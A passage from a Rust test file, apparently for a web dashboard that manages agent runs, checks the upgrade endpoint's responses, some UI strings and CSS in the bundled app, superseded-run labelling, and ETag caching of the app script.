5304 .expect("publish a heartbeat");
5305
5306 let res = fx.post("/api/upgrade", None).await;
5307 assert_eq!(res.status, 409);
5308 let err = res.json()["error"].as_str().unwrap().to_owned();
5309 assert!(err.contains("4321"), "the refusal names the owner: {err}");
5310 assert!(err.contains("old one against the same queue"), "{err}");
5311 }
5312
5313 #[tokio::test]
5314 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
5315 let fx = Fixture::start().await;
5316 let res = fx.post("/api/upgrade", None).await;
5323 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
5324 let body = res.json();
5325 assert!(body["to"].is_null(), "there was no release to move to");
5326 assert!(body["parked"].is_null(), "and nothing was parked");
5327 assert!(
5328 body["detail"]
5329 .as_str()
5330 .unwrap()
5331 .contains("nothing restarted"),
5332 "{body:?}"
5333 );
5334 }
5335
5336 #[test]
5337 fn the_upgrade_button_arms_before_it_restarts_anything() {
5338 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
5341 assert!(APP_JS.contains("Replace the binary and restart?"));
5342 assert!(APP_JS.contains("function confirmed("));
5343 assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
5345 assert!(
5349 APP_JS.contains("Parking, then restarting"),
5350 "the button says what it is waiting for"
5351 );
5352 assert!(APP_JS.contains("if (!out.to)"));
5355 }
5356
5357 #[test]
5358 fn an_error_is_visible_from_where_the_button_is() {
5359 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
5364 ..APP_CSS.find(".alert-text").expect(".alert-text")];
5365 assert!(
5366 alert.contains("position: fixed"),
5367 "an error about the thing under your thumb has to be visible from \
5368 where your thumb is: {alert}"
5369 );
5370 assert!(
5371 alert.contains("z-index: 25"),
5372 "above the dock (20) and the run-actions FAB (15), so neither \
5373 buries it: {alert}"
5374 );
5375 assert!(
5376 alert.contains("var(--tap)"),
5377 "and clear of the dock and the home indicator: {alert}"
5378 );
5379 assert!(
5382 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
5383 "the FAB's column stays free: {alert}"
5384 );
5385 }
5386
5387 #[tokio::test]
5388 async fn an_older_attempt_says_what_replaced_it() {
5389 let fx = Fixture::start().await;
5390 let q = fx.queue();
5391 let runs = fx.runs();
5392 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
5393 write_run(&runs, first, RunStatus::Stalled);
5394 write_run(&runs, second, RunStatus::Blocked);
5395
5396 let mut t = Task::new(
5397 "one task".to_owned(),
5398 "do it".to_owned(),
5399 PathBuf::from("/repo"),
5400 Source::Human,
5401 );
5402 t.runs = vec![first.to_owned(), second.to_owned()];
5403 q.put(&mut t).expect("put");
5404
5405 let rows = fx.get("/api/runs").await.json();
5409 let by = |short: &str| -> Value {
5410 rows.as_array()
5411 .unwrap()
5412 .iter()
5413 .find(|r| r["short"] == short)
5414 .cloned()
5415 .unwrap_or(Value::Null)
5416 };
5417 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
5418 assert!(
5419 by("bbbb")["superseded_by"].is_null(),
5420 "the latest attempt is not superseded by anything"
5421 );
5422 assert!(APP_JS.contains("run.superseded_by"));
5424 assert!(APP_JS.contains("Superseded by"));
5425 }
5426
5427 #[tokio::test]
5428 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
5429 let fx = Fixture::start().await;
5430 let js = fx.get("/app.js").await;
5436 assert_eq!(js.status, 200);
5437 let tag = js
5438 .header("etag")
5439 .expect("an etag to revalidate against")
5440 .to_owned();
5441 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
5442 assert_eq!(
5443 js.header("cache-control"),
5444 Some("no-cache, must-revalidate"),
5445 "the phone has to ask every time"
5446 );
5447
5448 let again = fx
5451 .get_with("/app.js", &[("if-none-match", tag.as_str())])
5452 .await;
5453 assert_eq!(
5454 again.status, 304,
5455 "a deck it already has costs one round trip"
5456 );
5457 assert!(again.body.is_empty(), "304 carries no body");
5458
5459 let weak = fx
5462 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
5463 .await;
5464 assert_eq!(weak.status, 304);
5465 let stale = fx
5466 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
5467 .await;
5468 assert_eq!(stale.status, 200, "an older build must be replaced");
5469 assert!(stale.body.contains("renderRunActions"));
5470 }
5471
5472 #[test]
5473 fn the_deck_never_sends_the_operator_to_a_terminal() {
5474 assert!(
5477 !APP_JS.contains("Run `magi fold` first"),
5478 "the deck must offer the fold, not prescribe a shell command"
5479 );
5480 assert!(APP_JS.contains("foldRun:"));
5481 assert!(APP_JS.contains("resumeRun:"));
5482 assert!(APP_JS.contains("renderRunActions"));
5483
5484 assert!(APP_JS.contains("armedFold"));
5486 assert!(APP_JS.contains("Yes, fold worktrees"));
5487
5488 assert!(APP_JS.contains("can no longer be resumed"));
5491 }
5492
5493 #[test]
5494 fn a_finished_run_explains_itself_with_its_own_last_line() {
5495 assert!(
5501 !APP_JS.contains("collapsed on agent quota"),
5502 "a stall must not be explained by a cause the deck did not check"
5503 );
5504 assert!(
5505 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
5506 "and a block must not offer a guess with an `or` in it"
5507 );
5508
5509 assert!(
5513 APP_JS.contains("setText(r.event, run.event || \"\")"),
5514 "the run's last line is rendered unconditionally"
5515 );
5516 assert!(
5517 !APP_JS.contains("moving && run.event"),
5518 "and never gated on the run still moving"
5519 );
5520
5521 assert!(APP_JS.contains("lost to quota"));
5523 }
5524}